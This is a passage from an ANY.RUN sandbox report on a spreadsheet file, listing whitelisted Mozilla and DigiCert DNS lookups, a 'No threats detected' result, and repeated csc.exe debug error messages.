  • 2.16.186.50
  • 2.16.186.112
whitelisted
search.services.mozilla.com
  • 52.88.150.81
  • 35.166.112.39
  • 34.213.175.109
whitelisted
search.r53-2.services.mozilla.com
  • 34.213.175.109
  • 35.166.112.39
  • 52.88.150.81
whitelisted
ocsp.digicert.com
  • 93.184.220.29
whitelisted
cs9.wac.phicdn.net
  • 93.184.220.29
whitelisted
tiles.services.mozilla.com
  • 35.160.41.125
  • 35.164.130.113
  • 34.208.7.98
  • 34.214.20.242
  • 52.26.103.165
  • 35.164.197.9
  • 35.165.22.140
  • 52.25.148.139
whitelisted
tiles.r53-2.services.mozilla.com
  • 52.25.148.139
  • 35.165.22.140
  • 35.164.197.9
  • 52.26.103.165
  • 34.214.20.242
  • 34.208.7.98
  • 35.164.130.113
  • 35.160.41.125
whitelisted

Threats

No threats detected
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cppĒ
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cppĒ
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
doc_SPA_(25)_(2019-03-18 n._776).xls